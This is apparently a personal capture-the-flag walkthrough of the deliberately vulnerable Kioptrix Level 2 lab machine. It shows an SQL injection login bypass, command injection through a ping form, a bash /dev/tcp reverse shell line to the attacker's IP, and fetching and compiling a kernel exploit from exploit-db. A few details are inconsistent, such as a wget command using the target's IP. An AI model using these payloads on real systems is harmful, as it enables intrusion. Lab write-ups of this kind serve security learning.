Setup
Setup is similar to other instances of Kioptrix. https://www.vulnhub.com/entry/kioptrix-level-11-2,23/
Note: You might have to modify the VM configuration file from Bridged to NAT as we did with the previous machine.
Host Discovery
As always, we should start out with netdiscover to see what hosts are out there
netdiscover -r 192.168.174.0/24
After we find out host, let’s do a basic nmap service scan with the following command: nmap -sV 192.168.174.129
There are several services running on this machine. Let’s enumerate each one of them in turn.
SSH
We see from our nmap scan that OpenSSH is version 3.9. A quick Google search doesn’t reveal a whole lot of information:
When we look at the CVE Details and the exploit-db.com websites, there isn’t a whole lot we can work with. The exploit-db.com page just lists a description of the vulnerability, with no workable exploit we can potentially try. So let’s move on.
Note: Other than a few rare exceptions, SSH is not likely to be vulnerable. Unless it is running a strange version of SSH, or a particularly old version, I wouldn’t usually bother exploring this further. Now, you can utilize some tools like Hydra to brute force a list of usernames and passwords you have, but that’s different than running code to exploit it.
HTTP
It looks like port 80 is open, which tells us this is running an instance of a website. So, let’s navigate to the browser and see what we can find out. So let’s put the IP address of our host into the URL.
We see a username and password box, and we know from our nmap scan that this target is running MySQL on port 3386, so let’s try some SQL injection.
We’ll start with the ol’ trusted method of entering ‘ or ‘1’ = ‘1 into the Username and Password box:
And we’re in!
So, we can pop in an IP address here and it returns with ping responses, just as it were from a command line:
Let’s see if we can chain some commands together by using the ; such as running list after the ping is done:
Sure enough, we can execute multiple commands. This is called command injection.
Now that we know we can execute commands on our target machine, our next goal is to create a reverse shell back to our host machine. Let’s check our our Reverse Shell Cheat Sheet: http://pentestmonkey.net/cheat-sheet/shells/reverse-shell-cheat-sheet
The first example on this site shows us how to use Bash to create a reverse shell. In the example on the page, the 10.0.0.1 is the IP of the host machine (your Kali box) and it connects via port 8080. So let’s update it with our information: bash -i >& /dev/tcp/192.168.174.131/8080 0>&1
But first! We need to setup our Kali box to listen for this reverse shell. From a terminal window, setup a netcat listener with the following command nc -lvp 8080
No, for our reverse shell. Since we need the ; in the input box on the webpage to add the additional bash reverse shell, we’ll put it in front of our command above, paste it into the web page, and execute it.
When it executes, a new tab opens and it looks like the webpage hangs up. But, go check your reverse shell listener on your Kali box:
Typing id, whoami, and pwd show us where we’re sitting on the box, and as what account.
Another command we should never forget is uname -a
We run this and can see that our target machine is running Linux 2.6.9-55.EL. Let’s check the Googles and see if there’s any exploits for it.
Looks like there might be a couple. Let’s check the first one.
The first one looks promising, but now we gotta figure out a way to download the exploit to our target machine.
Normally, from our Bash reverse shell, we could use wget. So let’s try the following command: wget https://exploit-db.com/download/9542
- TIP: Change the /exploit/ directory to /download/ to download the raw code, and not the .html file.
Trying this gives us the following error, though:
After a little bit of research it looks like the version of wget on our target machine is out of date. So we’ll have to download the exploit on our Kali box and then send it over to our target.
So, from our Kali machine, let’s create a new directory (just to keep things organized) and download the exploit using wget. Since we’re on our host machine, we can do things like specify file names so we’ll add the -O flag and type the following command: wget -O exploit.c https://www.exploit-db.com/download/9542
But…..
Trying to run netcat on the target machine shows that netcat wasn’t installed. Thus, no way to transfer our exploit script to the target box (for now).
So let’s try to do this the really hard way.
Nano via Shell
From your shell, type nano exploit to create a new file. We’re going to put the exploit code in here by hand.
Now, from Kali, go back to the exploit-db.com page and click on the {} to view the raw code.
Now, type Ctrl +A, and then Ctrl + C to select all the raw code and then copy it, and then paste it into your shell where you’re creating your new file with Nano. Save it.
And then…piss. Nano freaks out when you’re trying to use it through a shell apparently, and as it turns out you need to have a fully interactive shell to use Nano, so scratch that idea.
Trying Again
Let’s see if the old, out of date version of wget will pull code from our Kali box. So let’s go back to where we downloaded the 9542 exploit. And then let’s compile it. So the format we use to compile is: gcc <code to compile> -o <new name>
So we’ll type gcc exploit.c -o exploit
Now, we need to move it to our Apache web directory and start up Apache so our Kali box acts like a web server. To start this process, let’s move our compiled exploit to the html directory: mv exploit /var/www/html
Next, let’s start the apache2 service and then check it with service apache2 start and then service apache2 status
Cool, looks like Apache is running. Now, let’s hop back on our shell and pull the code.
From our shell, navigate to the /tmp directory and then use wget http://192.168.174.129/exploit to download your exploit. NOTE: Remember to use the IP address of your Kali box, since it’s acting as your web server.
Looks like our exploit downloaded just fine. I have no idea what that exploit.swp file is, it was on the VM when I started.
Now, let’s use chmod to update the permissions and try to run our code.
And fuck again. So, in a last ditch effort let’s try compiling the code on our target machine instead. So we’ll just move our exploit code pre-compiled into the web directory on our Kali box, use wget to put it on our target machine, compile it there, chmod it, and then execute.
BAM! The moral of this story? Don’t give up right away if something doesn’t work.